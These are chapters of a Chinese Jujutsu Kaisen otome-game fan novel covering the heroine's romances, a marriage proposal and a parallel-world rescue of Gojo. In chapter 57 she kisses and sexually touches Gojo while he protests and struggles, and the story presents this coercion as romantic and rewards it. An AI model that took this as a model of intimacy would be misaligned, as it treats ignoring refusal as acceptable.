他也跟着趴下了,下巴枕在手臂上,侧着头,看着她的睡颜。顶光明亮,她浓密的睫毛在眼下投射出一片阴影。 呼—— 他朝着她轻柔地吹了一口气,女孩薄薄的眼皮颤了颤,却没有睁开眼。 “真的喝醉啦?”五条悟用细若蚊蚋的声音在她耳边呢喃,温热的气息拂过她泛红的耳尖,“那我做什么事情都可以咯?” 她没有回答。 第57章 夜深了,居酒屋内反而越发地热闹,外面隐约传来人说话的声音,还有悠扬的音乐从音箱里飘出,这些杂乱的噪音都反而衬得包厢里更加安静了。 五条悟靠得越发近了,他能闻到她呼吸时的酒气。他的喉结上下滚动,明明没有喝酒,此时却有种隐约的醉意。 “小桃……”他用气音喊着她的名字,对方却无动于衷。 五条悟忽然发现,禅院桃化了妆。大地色的眼影在眼皮上晕染开,显得她的五官更加深邃。白色的亮片点缀在她的眼尾处,大概是为了搭配,她的嘴唇涂上了之前他送给她的那支口红。 他伸出手,用指尖撩起她脸颊上垂落的发丝,触碰到了她冰凉的肌肤。 大概是察觉到了什么,禅院桃突然咕哝着什么晃了晃脑袋,温热的呼吸拂过他的手背,带起了一阵触电般的痒意。 五条悟仿佛被定身似的,不敢动弹。 片刻后,她又安静了。 原本被埋在臂弯的下半张脸露了出来,半张的嘴唇能看见似有若无的白色齿尖。 鬼使神差的,五条悟低下了头。他用亲吻一朵花的力气,轻轻地碰了碰她的嘴角。 她没有任何反应。 于是他眨了眨眼睛,大着胆子用舌尖舔了舔。 好甜。 他尝到了口红的味道,混合着酒液,比他吃过的一切甜品还要令他沉醉。 沉闷的两声粗喘后,五条悟狼狈地后撤。 “你之前肯定也偷偷亲了我,我这是、这是以牙还牙!”他低头,弓着腰喃喃道,来掩饰自己的冒犯。 “不,你错了,我不是偷偷亲的。” 一个戏谑的声音响起,五条悟猛地抬眼,对上一双好整以暇的目光。 “我亲你的时候,你可激动了,恨不得整个贴在我身上。”今野桃坐直了身体,慢条斯理地用手把凌乱的头发拢到身后,“一直说着‘还要还要’之类的话呢。” 五条悟的脸从没有像现在这样红过,他呆呆地看着她,脑海里只有一个念头: 被抓包了! “没想到清醒的时候这么差劲,浪费我这么长时间。”今野桃撇了撇嘴。 忽然,她猛地用力,像一只暴起的猎豹,把人按在了长条卡座里。 五条悟的眼前一黑,下一秒,他被咬住了。 尖锐的牙齿撕扯着他的嘴唇,他似乎能嗅到铁锈的味道。还没来得及感受疼痛,柔软的、湿滑的舌头就闯进了他的口中,一直顶到了深处。 他下意识地想要挣扎,却又被掐住了下巴。 “别怕,我教你。” 她的手指插入他的发根,温柔地抚摸着他的后颈。他的发丝微凉,握在手里像是握住了一捧雪。 要被吃掉了…… 比以往任何一次都要更加猛烈的浪潮飞快地席卷着他的身体,陌生而刺激的感觉让他慌张。他想推开她,想把自己藏起来,却宛如落入渔民桶中的贝壳,被强硬地打开了。 “人之常情。”她的声音中带着笑意。 今野桃的手从衬衫下摆伸进去,感受着少年锻炼良好的腹肌。 “好明显的腹肌啊。”块垒分明的肌肉弹性十足,软中带硬,“是不是偷偷在用力?” 红色一直蔓延到脖子下面,没入衣服之中。 五条悟只是大口大口地喘着气,说不出一个字。 直到她的手还要往下,他才陡然惊醒。 不行!至少他的第一次,决不能在这种地方! 他用尽全身力气挣扎起来:“不要了不要了!万一有人进来怎么办啊!” “放心,不会有人进来的,歌姬包了这个包厢一整晚呢。”今野桃哄道,“再说了,你不觉得很刺激吗?” “我、不、觉、得!”五条悟的眼镜早已不知道落到了什么地方,露出了一双泛红的眼睛。他羽毛似的睫毛上沾染着细碎的水珠,如清晨花瓣上的露水。 哎呀,把被养在深闺之中的纯情少年逗哭了呢。 在同一时期只会出现一双“六眼”,五条家的术式遗传条件苛刻,所以他们对五条悟的后代并无期待。为了让五条悟一心变强,不被任何身外之事打扰,五条家刻意把琐事与他隔离,男女之间的那点事更是绝对不能出现在“六眼神子”面前。 如他们所愿,五条悟后来哪怕知道了这种事,也毫无兴趣。 但他们没有想到,这个世界上,竟然有人能够强迫五条悟。 强迫他张嘴,强迫他接受。 “对不起啦。”今野桃软着声音哄他,“因为实在太喜欢悟了,所以怎么也没办法忍住嘛。” 五条悟用手背遮住眼睛,挡住自己的嘴巴。 就算、就算她这样说,他也绝对不会原谅她的! “我看见悟啊,心跳就好快。”她分腿跪在五条悟的上方,低下头,在他的脸上添了一道带着细闪的水痕,“想抱一抱悟,想亲一亲悟。我想品尝悟的所有,想要……” “好了!”五条悟色厉内荏地呵斥她,“反正我是不会同意的!” 今野桃的目光一寸一寸描摹着他,好像在确认他说得是不是真心话。 五条悟把下巴一抬,一脸义正词严的模样。 很可爱。 “那就摸一下。”今野桃说出了男人听见会发笑的话,“我就摸摸,不做别的。” 她咬着他的耳朵,温言细语地说着。 “好不好?就摸一下。” 可是五条悟信了。或者说,他不得不信。此时此地,他是被咬住喉咙的猎物,除了顺从没有别的选择。或许满足了捕食者的欲念后,他能被宽容地放过。 “……只是摸一下?” “嗯。” 五条悟闭上了眼睛。 【五条悟好感值:100】。 第二天是休息日,大家都不用上课。唯独五条悟和夏油杰有个任务要做。 一大早,夏油杰就发了消息给五条悟,但一直没有得到回应。 宿舍里也没人,不知道跑去哪里了。 站在自动售卖机前,他的心有些乱了。 担忧自然是有的,但悟和小桃应该在一起,所以不可能会遇到危险。也正是因为他们在一起,所以他的心难免有些失落…… “早上好,让你久等了。” 身后传来打招呼的声音,夏油杰回头,看见今野桃。 “小桃?”他有点惊讶,“你来这里找我吗?” “啊,没错。准确的说,我是来代替悟做任务 的。“今野桃笑了笑说道,“走吧。” 代替悟做任务……悟难道是爬不起来了!? 夏油杰五味杂陈地想着,这回对挚友的担忧占据了上风。 “悟他……没事吧?”他喃喃道。 “没事,放心好了。”今野桃神清气爽地说道,“就是我有点心疼他罢了。” “……”夏油杰失语。 对绝大多数咒术师来说难以匹敌的一级咒灵,只是十来分钟就被夏油杰揉成了丸子。游云一棍子下去,差点把它打得灰飞烟灭。 他走到角落,避开今野桃,仰头将咒灵玉吞下。 恶臭味从口腔一路蔓延,充斥着他所有感官。胃在翻腾,叫嚣着要呕吐。 夏油杰忍了又忍,才压下这股痛苦。 一只手贴在他的后心,被反转过的咒力传输过来。夏油杰愣了一下,转身抓住了她的手腕。 “不用的。”他勉强笑道,“我已经习惯了。” 今野桃的眼睛微微瞪大,随后从善如流地放下手。 “我只是想,或许反转术式会对你有帮助。” “确实有帮助。”夏油杰没有否认这一点,但是……“可你不能一直帮助我。” 喉咙收缩,他用力地将指腹掐进掌心,紫色的眸子幽深得近乎发黑。 他用叹息般的语气说道:“不要对我太好了,小桃。” 会让他生出不应有的期望。 如果她再坏一点就好了,做一个水性杨花的人,让他可以堂而皇之地介入; 如果她没那么耀眼就好了,让他觉得自己是阳光之下的阴影,仓皇可笑。 今野桃深深凝视着他,好像懂了什么。 夏油杰极力掩饰,才没让自己移开视线的动作显得太过难堪。 会嘲笑他吗?还是装作若无其事? 先把心捧出来的人就是这样,等待着被审判。 “这就算‘太好’了吗?”她开口道,“可这是杰应得的。我之前就说过,杰应该得到更多、更好,这样才能配得上你那颗真挚的心。” 今野桃用指关节擦去他眼角欲滴未滴的那颗泪珠,温柔地说道: “杰值得这么好。” 巨大的嗡鸣声在他的耳边鼓噪,一时间,天地倒转,他仿佛成为了神座下的信徒,高高在上的神明垂怜地看了他一眼。 只是一眼,也足够了。 【夏油杰好感值:99】 【夏油杰—孤旅者(BE) ——心属于你的,我借来寄托,却变成我的心魔;你属于谁的,我刚好经过,却带来潮起潮落。】 第58章 禅院甚尔接到今野桃的消息时,他正在精心保养自己的武器。 作为一个“天与咒缚”,他的身体里留不下一丝咒力,全部用来强化体质了。因此他无法杀死咒灵,只能依靠武器。 武器是他最重要的同伴。 天逆鉾的刀刃被一寸一寸擦过,雪白的刀身折射出他淡漠的眼眸。 铃声响起,这双眼睛忽然就有神了。 “……行啊,没什么事,你要来就来吧。”他语气懒散地回道,身体却已经开始动起来了。 地板要拖一拖,桌子上的灰得擦一擦,还有垃圾桶里的快餐盒子……怎么才几天没做家务,家里就乱七八糟了。 禅院甚尔一边嘀咕,一边飞快地将屋子打扫干净。 当水壶里的水开始沸腾的时候,外面的门被敲响了。 禅院甚尔最后换了件衣服,趿拉着拖鞋打开了门。 “真是稀客啊,”他依靠在门框上,戏谑地说道,“总监部部长大驾光临,有什么事吗?” “没事,关心一下你而已。”今野桃无奈地看了他一眼,“不请我进去吗?” 闻言,禅院甚尔才让开了位置,好像自己并不期待有这样一个人上门来看他。 “说吧,要杀谁。”他打了个哈欠。 今野桃叹了口气:“不要真的好像是我下属一样。甚尔,你知道吗,外面的人都说我故意把你放出去脱离禅院,好让你做的事情能和禅院分割开,不必叫禅院被人上门讨要补偿。” “术士杀手”的名号太过响亮,而且接单的倾向也太过明显。 和禅院桃敌对的,打折都杀; 和禅院桃友好的,一律不接。 说他和禅院桃没关系,谁信啊。禅院甚尔一定是禅院桃用来排除异己的一把刀! “好吧,下次我会做得更隐秘些。”禅院甚尔耸了耸肩膀回道,“既然不是找我杀人,那你怎么有空过来?” 他装模作样地探头往她身后看了一眼:“那个‘六眼’没跟着你?那个咒灵操使呢?不会是怕了我吧?” “悟他今天有课呢,杰也是。”今野桃抿嘴一笑,“我趁机甩掉了他们。” “早该如此了,都成年了,还好意思黏人。”禅院甚尔不屑地说道,“这样的老师,谁敢把孩子交给他们,不会误人子弟吧?” 学生可以请假,老师却不行。所以五条悟和夏油杰被课表锁在了学校,没办法跟着今野桃。 他们两人有着极强的责任心,是不会做出抛下学生的事情的。 “没办法,悟和杰都对进入总监部意向不高,他们更愿意在学校里培养下一代。”今野桃喝了一口茶,感慨道,“有这样强大的老师,学生们也一定会越来越厉害,咒术界的未来也会越来越好。” 禅院甚尔没接话,只是低头喝茶。 和学生没关系,咒术界能变好,都是因为她。五条悟和夏油杰作为当世强者,本应该进入总监部助她一臂之力的,但她却容忍他们在外面过着自己想要的生活。 不过是因为有她托底罢了,一群恃宠而骄的家伙。 “我这次来看甚尔,真的是来关心你的。”今野桃放下茶杯,正色道,“甚尔也快三十岁了吧,有没有考虑过接下来的计划呢?” 接下来的计划? “你就直说吧。”他靠在椅背上,看着她说道,“我考虑考虑。” 于是今野桃干脆直接说了:“我想让甚尔去学校做老师,甚尔愿意吗?” “……”禅院甚尔愣了一下,指着自己说道,“你让我,去学校做老师?” 他的文化水平可不高啊! 别到时候那几个小鬼没有误人子弟,他却闹出笑话来。 “是体育老师。”今野桃耐心地解释道,“甚尔只要负责学生的体能训练和实战对抗就行了。我思来想去,这个岗位甚尔是绝对可以胜任的。” 禅院甚尔张着嘴巴,想说什么,最后还是闭上了。 他可以吗? “你怎么会想让我去做老师?高专这么缺人吗?”禅院甚尔不说同意,也不说拒绝,“我记得高专没多少学生吧?” “相比以前是好多了。”今野桃想到自己毕业那会,整个高专的学生加起来也才十来个,心就有些梗,总监部对于招生实在是太懈怠了!“去年招到了九个,今年终于突破两位数了。” 盘星教毕竟不是官方,做事情总有些畏首畏尾。当总监部在她的命令下,正儿八经地开始动起来后,粗略地筛选了一遍,就筛出了不少好苗子。 “悟和杰都做班主任了,完全是赶鸭子上架。”今野桃扶额说道,“我们真的很缺老师。” 禅院甚尔有些想笑,她竟然也有苦恼的时候。 “好吧,可以是可以,但是……我去学校,不会给你造成不好的影响吧?毕竟我可是‘杀手’呢。” 今野桃短促地笑了笑,没有回答这个问题,只是说道:“我是总监部部长。” 所以她才告诉两个DK,权利要握在自己手中,尤其是在这个封建落后的地方,她不用权利巩固自己的地位,别人就要用权利来对付她了。 “甚尔,记得下周一来东京都立咒术高专报道,别走错了。”她叮嘱道。 “我的年纪还没到那个程度。”禅院甚尔觉得自己被小看了。 今野桃的目光掠过禅院甚尔嘴角的那道疤,轻叹道:“甚尔如果有朋友,记得跟他们说一声,能不当‘诅咒师’就别当了,早点金盆洗手吧。” 禅院甚尔敏锐地察觉到了她的未竟之意:“你要整顿诅咒师?” “嗯,也不是整顿吧,应该叫吸收。把能团结的力量都团结起来,然后送那些无可救药的人去地狱忏悔。”今野桃微笑道,笑容浅淡却带着杀气,“我的地盘,可不允许有老鼠到处乱窜。” 禅院甚尔听懂 了。 她要整顿咒术界,所以先来给他安排好退路。 于是那仅有的一点抗拒也消失得无影无踪了。 “那么,下周一见了。”今野桃朝他挥了挥手,朝着街道尽头走去。 在那里,有一个白发青年正等待着她。 “……好过分!你这只偷腥猫!”青年大吵着,仗着漂亮的外表和宠爱肆无忌惮。 “……别乱说,我只是来看望朋友……” “可恶!有我和杰还不够吗?!” 两人的身影很快就消失在了他的视线中。 禅院甚尔抬头望着天空,一只乌鸦恰巧飞过。 他忽然想起第一次见到她的时候,那时她才六岁,刚刚觉醒十种影法术,和“六眼”打了个昏天黑地,在禅院家彻底出名。 他远远地看了一眼,以为自己会看见她欣喜若狂的模样,谁料,她冷静得不像个孩子。 她总是沉默着,用眼睛注视着。她在观察,在分辨。她不像是禅院的一份子,而是一个局外人。 禅院甚尔出于好奇心观望了一段时间,确定这个孩子聪明得过头,兴许有人天生就是领袖,她不动声色地拉拢着可以被她拉拢的人,对轻视她的人,要么打压排除,要么以力服人。 禅院直哉被她反复碾压了几次,也甘愿喊她一声姐姐。 当然,这些都跟他没关系。 他不过是禅院家,一只不起眼的乌鸦。 一只向往自由的乌鸦。 他不需要别人的关注,不需要被关心…… “甚尔?”她看见了他,向他递出了橄榄枝,“很不错的名字。你愿意……” “我不愿意。”他冷冷地打断,“别来找我。” 她没说话,放他离开了。 这是他第一次拒绝她。 第二次是他将要离开禅院的时候,不知道她是怎么看出他的意图,跑过来跟他说—— “要不要一起改变禅院?逃走也是解决不了问题的嘛。”她的语气是那样的理所当然,好像轻松就能做到一样。 “别开玩笑了。”他嗤道,“你这样一个小鬼,先长大再说吧。” 她露出了一种被冒犯的表情,但最后又自顾自地原谅了他。 “确实,我还太小了,所以不能让你信服。”她开口道,“不过为了甚尔的日子能好过一点,你还是稍微推迟一点离开禅院的时间吧,至少等到我接管一部分禅院之后。” 禅院甚尔鬼使神差地同意了。 她竟然因此而高兴起来,再一次向他发出了邀请:“要加入我吗?有甚尔在,我的梦想能更快实现。” “不要。”他第二次拒绝,“这种赔本的买卖我才不做。” 她没有因此生气,而是失落地说道:“好吧,意料之中。” 第三次……没有第三次了。站在禅院的大门口,她对他说: “去像自由的鸟儿一样飞翔,过你想要的生活吧。” 于是向往天空的乌鸦终于飞出了笼子。 可是,什么是自由呢?身体自由了,但心真的能彻底自由吗?被锁链从小锁住的大象,就算长大后放开链条,也忘记了如何逃跑。 因为它的心还被锁着。 他茫然地徘徊在街头,兜兜转转,还是留在了距离她不远处的地方。 他想看看,她说的到底是真还是假。 这个没能施舍给他一点善意的世界,真的能变好吗? 如今,他有了答案。 也有了后悔。 早知道……第一次就该答应她的。可惜,他还是太胆小了。 有着无与伦比的肉/体的天与暴君,竟然有一颗那样敏感脆弱的心啊。 【禅院甚尔好感值:85】 【禅院甚尔—昏鸦(BE) ——我爱这世界声嘶力竭,我恨这世界恨到胆怯。别给我拥抱的错觉,让我自由地坠跌。】 第59章 五条悟的好感值已经到了一百,但仍然没有跳出结局,今野桃意识到事情有些不对劲了。 她退出游戏,看了一眼介绍,隐隐发现了问题所在。 【好感值并非HE结局的唯一必要条件,更多信息请玩家自行探索。】 今野桃思来想去很久,忽然灵光一闪。 是不是……攻略对象必须认为她对他们的好感值也达到了100,才能跳出HE结局?可能100有些苛刻,但至少也要90以上? 今野桃望着床头她和五条悟的合照,照片里,五条悟笑得神采飞扬,她只是矜持地抿出了一点笑意。 毕竟都是总监部部长了嘛,总得有些架子。 可是…… 今野桃的手指抚过照片上的自己,表情有点恍惚。 现在是早上八点,五条悟已经上课去了,她还能睡个懒觉。过去读书的时候卡点到教室,现在当了老师是不行了。 起床,今野桃没有着急去洗漱,而是拉开了一个抽屉,这里面放的都是比较重要的证件。她翻找了一下,没有找到五条悟的印章。她上网搜了一下,发现竟然还要两个证人。 好复杂。 她将自己打理清爽,喊了个司机开车送她到新干线的售票处。坐新干线从东京到京都是最快的,只需要三个小时不到。下了新干线,她直奔五条家。 五条家的人在大门口看见她,差点吓得跳起来。 难道是悟大人出了什么事?还是这个女人改革终于改到五条的头上了?迎上去的时候,他们心中惶惶。 谁知道,今野桃开口的第一句话就是:“悟的父母还在吗?” 悟大人的父母? 虽然存在感很低,但他们确实还活着。只不过因为各种原因,他们在五条悟很小的时候就离开了他。双方的感情非常淡薄,几乎没有什么来往。 随手一抽就抽到了SSR已经是他们这辈子最大的运气了,五条家不会让他们影响到神子的。 “您找悟大人的父母是为什么呢?”他们谨慎地回道。 “有很重要的事情。”今野桃没有回答的意思,只是淡淡地说道。 五条家的几人对视一眼,还是妥协地去喊了这对已经快四十岁的夫妻出来。从他们的外表上能看出,五条家没有亏待他们。 “禅院部长,有什么事情吗?” 今野桃很难从他们的身上找到五条悟的影子,果然“六眼”是转世的传言还是有点可信度的。 “麻烦你们跟我走一趟吧。” 她这句话一说,夫妻俩不约而同地抖了一下。 他们最近好像也没做错什么事吧?因为五条悟,他们平日里也都是深居简出。 “哦对了,悟的户籍本在这里吗?也拿来给我。”她不容拒绝地说道。 “?!!” 刹那间,仿佛一道雷劈在了他们的身上。 他们知道她想干什么了!! “不是,你、你、悟大人……”他们结结巴巴地话都不会说了。 “管住嘴巴,这是我和悟的惊喜。” 你确定是惊喜,不是惊吓?! 今野桃拿了东西,带着震惊的夫妻二人,离开了五条家。 轿车上,今野桃坐在司机后面的位置,夫妻二人挤在一起,对她身上的气势有些畏惧。 “你……禅院部长,”反复纠结之后,他们还是开口了,“你是要和悟结婚吗?” “对啊。”今野桃爽快地给出了回答。 女人迟疑地说道:“悟也同意了?” “啊,我正要向他求婚呢。”今野桃苦恼地说道,“说实话,这还是第一次。” 夫妻俩对视一眼,他们无权在任何关于五条悟的事情上置喙,但他毕竟是他们的孩子。 “那就请你,对悟好一点。”这是作为父母最诚挚的期望,“不要伤害悟。” “伤害悟?”今野桃觉得惊讶,“我怎么会伤害悟呢?这从何说起?” 怎么不会呢?不说禅院家那个据说是她的童养夫的禅院直哉,还有那个过去被她放养在外、如今成功洗白上岸的术士杀手,甚至连悟的同学、被誉为和悟不相上下的 咒灵操使似乎都和她有着难以言说的关系。 这样子,真的不会伤害到悟吗? 听完了他们俩期期艾艾的话,今野桃只觉得好笑。 “那都是无稽之谈,我与他们清清白白,未曾有任何逾越之举。” “是、是吗……”说完了之前的话后,他们的勇气也消失了,变得唯唯诺诺。 “当然。”今野桃回答得果断,很难让人不相信。 折腾了大半天,他们回到了东京。 今野桃把夫妻两人留在了酒店,说道:“麻烦你们在这里休息两天。” “哦、哦……” 看着她离开的背影,他们讷讷无言。 “会想到把我们接来,她一定对悟有很深的感情。”丈夫宽慰妻子。 “希望吧……” 赶往高专的路上,今野桃把电话打给了秘书,然后给自己批了个假。 “诶?禅院部长是有什么很重要的事情吗?” “是的,非常重要。” “好的,我明白了。”秘书闻言,非常郑重地应下。 挂了电话,她还在想,禅院部长真是太辛苦了! 今野桃也没撒谎,她现在要做的事情,正是对她而言最重要的事。 她打开手机,翻过一大堆五条悟的照片,终于找到了他的课表。 仔仔细细地反复翻看后,她又打了个电话给夜蛾正道。 “夜蛾老师,能麻烦你一件事吗?帮个忙嘛,就是帮悟上几天课而已……” 许下了一大堆好处,今野桃总算是做好了完全的准备。现在,就差男主角入场了。 于是五条悟一下课,就被直接开到教学楼下的轿车带走了。 “诶?” 学生们趴在窗口往外看,只能看见一串汽车尾气。 “那好像是总监部的车?” “没错,就是总监部的车,我之前见过一次,总监部的车牌都是定制的。” “五条老师好忙啊,才刚刚下课就又要出任务了。” “等等,不对劲!五条老师等下不是还有课吗?!那他的课谁来上?” 学生们的身后,夜蛾正道正黑着脸看着他们。 “都打铃了还不进教室吗?!”中气十足的声音猛地炸开。 “啊!是夜蛾校长!” 他们一哄而散,像是归巢的鸟儿一样钻进了教室。夜蛾正道一边瞪眼,一边又觉得欣慰。 这样才像是一所学校啊……只有几个学生,让他觉得高专像是托儿所。如今总算是好起来了。 轿车里,五条悟也是一脸茫然。他被一把拽进后面的车厢,一下就倒在了今野桃的腿上。 他仰头看她,雪白的头发散在她的膝盖上,他疑惑地问道:“怎么了?” “快快快,不然要来不及了!” 什么来不及? 好像只是晃了个神,他们就从日本来到了另一个陌生的地方。 感谢无所不能的商城,区区一个一次性的瞬移道具,只需要提前做好标记,可以节省她三十个小时。 正处在极夜的阿拉斯加气候寒冷,落地的时候,五条悟的脖子上就被套了一条围巾,厚实的羽绒服也披了上去。 他下意识地打开了“无下限”,寒风绕开了他们两人。 “这里是……?” “是阿拉斯加。” 脚下的雪原在月光下泛着珍珠般莹润的光泽,清澈的冰湖凝结成一面巨大的镜子。今野桃穿着和他款式相同的衣服,刚刚一瞬间凝结在睫毛上的雪花随着她说话的声音而颤动,好像点缀在上面的钻石。 “好漂亮啊……”五条悟并没有因为她的突发奇想而感到奇怪,只是用欣赏的眼神注视着这片风景。 为什么突然带他来这里?一个猜测缓缓浮上心头。 会是他想的那样吗? 忽然,一种他从未听过的噼啪声和轰鸣声传入他的耳朵里,像是天空和大地发出来的低沉的呼唤。 受它的召请,女神扬起她的裙摆,路过了人间。 这是难以用语言形容出来的美景,璀璨的瀑布从天鹅绒般的夜幕之上倾斜下来,让人疑心是不是打翻了梵高的调色板,才能调出这样的五光十色。 五条悟朝她伸出了手,把她发梢的那一点雪花拨下。他的手掌很暖,动作很轻柔。 “悟。”她和他深深地对视着,此时语言已经不再重要,无声胜似有声。但仪式感不能少,她勾住他的脖子,弯着眼睛笑道,“我们可以结婚吗?” 不是谁嫁给谁,也不是谁娶了谁。 而是两个人共同,组成了一个新的家庭。 今野桃以为他会立刻答应,没想到五条悟竟然沉默了两秒。 “怎么了,你不愿意?”今野桃瞪大了眼睛,仿佛只要他敢说错一句话,这里就是他的埋尸地。 五条悟噗嗤一声笑了出来,无比快活地说道:“我当然愿意!” 他只是没有想到,曾经想过的场景会变成真的。 但哪怕是在梦里,他也不敢幻想他们会在这样的景色中确认彼此的心意。 他现在不会还在做梦吧? 极光在头顶织就绚丽的穹顶,把他们笼罩在发光的茧里。寒风打着旋儿路过,却无法掀起他们的一根发丝。 “你会永远爱着我吗?”五条悟开口道,“不能撒谎哦,否则会被诅咒的呢。” 今野桃捧住他的脸颊,将他拽向自己。 “永远太虚幻,我会爱你这一生。”她如此说道,“直到生命的尽头。” 在无垠的天空下,他们彼此拥抱,呼吸缠绕。 【五条悟—金乌入怀(HE) ——来自太阳的带电粒子与地球的磁场发生碰撞,最盛大的爱就诞生了。】 第60章 【退出游戏】 【检测到您的充值金额已满足条件,可在后日谈中进行定向选择。】 【本次“后日谈”您希望内容是—— 1.关于过去。 2.关于未来。 3.关于平行世界。】 三个选项悬浮在今野桃的面前,让她陷入了沉思。 这明显就是游戏的骗氪手段,但不得不说,白给的就是香。 过去的话,她已经玩过宿傩周目了,对过去没什么好奇。 至于未来,无所不能的玩家想要知道未来会发生什么事情,拉一下时间线不就好了? 因此,看似给了三个选项,但其实也就第三个更有吸引力吧。 平行世界?是指玩家不存在的世界吗?当然,以今野桃玩过许多游戏、看过各种小说的经验来谈,也有可能是各种if线的世界,比如性转、阵营转换…… 不论如何,一定会很有意思吧! 漂亮小悟,我来啦! 【是否开启后日谈?】 今野桃按下了确认键…… 这本来是一个平平无奇的早晨,五条悟去上课,和学生愉快玩耍;她去总监部,修理不听话的烂橘子。但今野桃眼睛一闭一睁,就发现自己来到了另一个世界。 外面天已经黑了,现在的她,正站在总监部大楼的门口,进进出出的人用一种古怪的眼神看她,完全不认识她的模样。 懂了,这就是平行世界。 【五条悟已进入此世界,找到他即可返回。】 悟也来了?看样子和他会和以后,他们就可以回到原本的世界了。 就在今野桃准备离开的时候,她听到了一个沙哑阴沉的声音。 “……但是五条悟已经被封印了!” 封印?封印什么?谁被封印? “那就通知下去吧,驱逐五条悟,判处夜蛾正道死刑!” ……今野桃站定了。 等等,这些人在说什么啊? 她没有听错吧? 推开前面拦住她的人,今野桃大步流星地走进了总监部,轻车熟路的样子好像这里就是她家。 “喂,你是什么人?” “大胆!竟然敢擅闯总监部!” 乱七八糟的声音都被她扫开,今野桃径直走到了一个烂橘子面前,抓住他的衣领,把 人拎了起来,看到了他手里即将发布下去的通知。 【对于此次涉谷事变,总监部通告如下: 一、确认夏油杰生存的事实,并再次判处死刑; 二、确认五条悟为此次事变的同犯,从咒术界永久驱逐; 三、禁止任何人解开五条悟的封印,此行为将被判定为有罪; 四、夜蛾正道教唆五条悟和夏油杰,被视为此次事变主犯之一,判定为死罪; 五、取消虎杖悠仁的死缓,改判立刻执行死刑。】 短短几行字,信息量爆炸。 首先,夏油杰死了,又活了。她百分之九十确定,活的不是夏油杰,应该是羂索那混蛋; 其次,五条悟被封印了,看样子是还有救,所以总监部不让人去解开封印。 最后,夏油杰和五条悟不好拿捏,总监部决定拿夜蛾正道这个软柿子开刀。 讲道理,教唆怎么也不能算是主谋吧?这不明摆着欺负他们的夜蛾老师吗? 至于虎杖悠仁,他不愧是羂索亲自生下的孩子啊,竟然也在咒术界兴风作浪了。 今野桃伸出手指,在通告上“五条悟”的名字上面点了点。 “你啊,就是太听话了。”她感慨道,“当然,我也是。不知不觉,我竟然也开始遵守所谓的规则了呢。” 同样是当世最强,五条悟被判刑、被驱逐,两面宿傩被供奉、被畏惧。 他们两人的区别在哪?不就是一个是正派,一个是反派吗? 所以说啊,黑化强十倍,洗白弱三分,还是很有道理的。 强者不去制定规则,就会被别人的规则压迫。 今野桃一拳打飞扑上来的咒术师,一巴掌把偷袭的咒术师扇到墙上。她脱下束手束脚的外套,手指交叉,结出繁复的印。 “悟和杰都不在了,你们还要杀夜蛾,那我还有什么好顾忌的呢。”她微微一笑道,“出来吧,魔虚罗!” 在所有人的目眦欲裂下,白色的式神从影子里爬了出来。 “说吧,五条悟现在在哪里。”她咧开嘴,露出尖锐的牙齿,“不说,就送你们全都下地狱!”。 “娜娜米——” 巨大的呼喊声在高楼之间来回传递,让人忍不住抬头。 “娜娜米——五条老师——他被封印了啊——” 今野桃抬头,嘴角抽了抽。 这是生怕敌人听不见吗?算了,从这声音来看,还是个孩子吧。 一节一节楼梯踩上去,推开天台的大门,迎面就是四个咒术师,其中有两个是她认识的,还有一个只是见过。 “七海,惠。”她喊出了两人的名字,然后迟疑了一下,开口道,“虎杖悠仁?” “咦,你是谁?”虎杖悠仁开口问道。 今野桃想了想,打开了手机:“你们叫我小桃就行了。我……我是悟的恋人。准确地说,是另一个世界的悟的恋人。” 打开手机,屏保就是两人脸贴脸的大头照。 两个学生瞪大了眼睛,发出难以置信的惊呼声:“五条老师的恋人?!” 七海建人的眼中闪过一丝迷茫和呆滞:那家伙,也能找到对象吗? 除了照片,还有视频、聊天记录,总之,怎么看眼前的女人也不像是在撒谎。 初步取得信任后,今野桃开口道:“能否请你们告知,悟现在在哪里?我听你说,他被封印了?” “没错!”虎杖悠仁一股脑地将情报都说了出来,“五条老师现在被封印在一个叫做‘狱门疆’的盒子里面,就在涉谷站地下五层的地铁通道边上!他们现在暂时带不走五条老师,据说是因为无法解析五条老师的信息!” “你是要去找他吗?”伏黑惠皱着眉说道,“现在那里有特级诅咒师夏油杰、三个特级咒灵,还有一个已经孵育出来的特级咒胎。” 这个阵容,不愧是要对付五条悟啊。 “我知道了。”今野桃得到了想要的情报,转身想要离开。 “喂。”又一张嘴巴突兀地出现在虎杖悠仁的脸上,“你这个女人,好像很强的样子啊。” 是两面宿傩。 今野桃侧过头,和虎杖悠仁眼睛下方的那双红色瞳孔对视。 “是你啊,宿傩。”她开口,让在场的咒术师又迷惑起来了。 她怎么跟两面宿傩很熟的样子? 今野桃其实都快把两面宿傩忘记了,因为总是提前解决了羂索,导致他苦心布置千年的计划早早地流产,被做成咒具的两面宿傩再无重现天日的机会。所以两个周目后,两面宿傩在她这里已经成为了过去式。 她朝虎杖悠仁走近了,两人身高差不多。她挑眉,笑出了声。 “这就是你想要的复活吗?看起来真的很憋屈。” 两面宿傩眼中的兴味消失了。这个女人,在挑衅他。 “不过你就是这样子啦,欺软怕硬。”她伸手,摸了摸那双眼睛,“走的时候,会记得把你也解决掉的。” 开什么玩笑,这个女人…… 那双眼睛合上了。 跑得真快。今野桃不以为意地想道。 “走了,速战速决吧,悟还在等我回家呢。” 今野桃不确定狱门疆里关着的是不是她的悟,反正救出来总不会错。 希望不是吧,毕竟她连黑绳都舍不得对他多用,更见不得他被这样对待了。 狱门疆在地下五层,每一层都有敌人。今野桃一层一层往下,像在玩什么闯关小游戏。 胀相一巴掌按在墙上,陀艮两巴掌打进地里,漏壶三巴掌锤到瘫痪,真人更是左右开弓,硬是被打成了丸子。 挺有意思的,这个叫真人的咒灵还会进化,可惜二阶段也不过如此,倒是那个术式让今野桃很感兴趣。 终于,她出现在了最终boss面前。 披着夏油杰壳子的羂索眯着眼睛,刚想开口,就被秒扒马甲。 “差不多得了,羂索。”她拍了拍身上的灰,“别的不用说了,过来跟我拍个照。” 森冷的杀意从羂索的身上蔓延,那副谈笑风生的模样碎了一地,作为反派运筹帷幄的逼格再也捡不起来了。 “你是谁?”他问道。 然后只是眨了个眼,今野桃就出现在了他的面前。 她承认羂索现在的属性值很高,可是跟氪了金的玩家相比,还差得远了。 他满值30,她满值50,拿什么比。 “喏,看见了吧,杰。”今野桃举着手机,摄像头对准了她,掌心下就是羂索的脑袋,“差点你就要变成这个样子了耶。所以还不给我感恩戴德!” 被捏住要害的羂索脸色苍白,满脑子都是“怎么可能?!”。 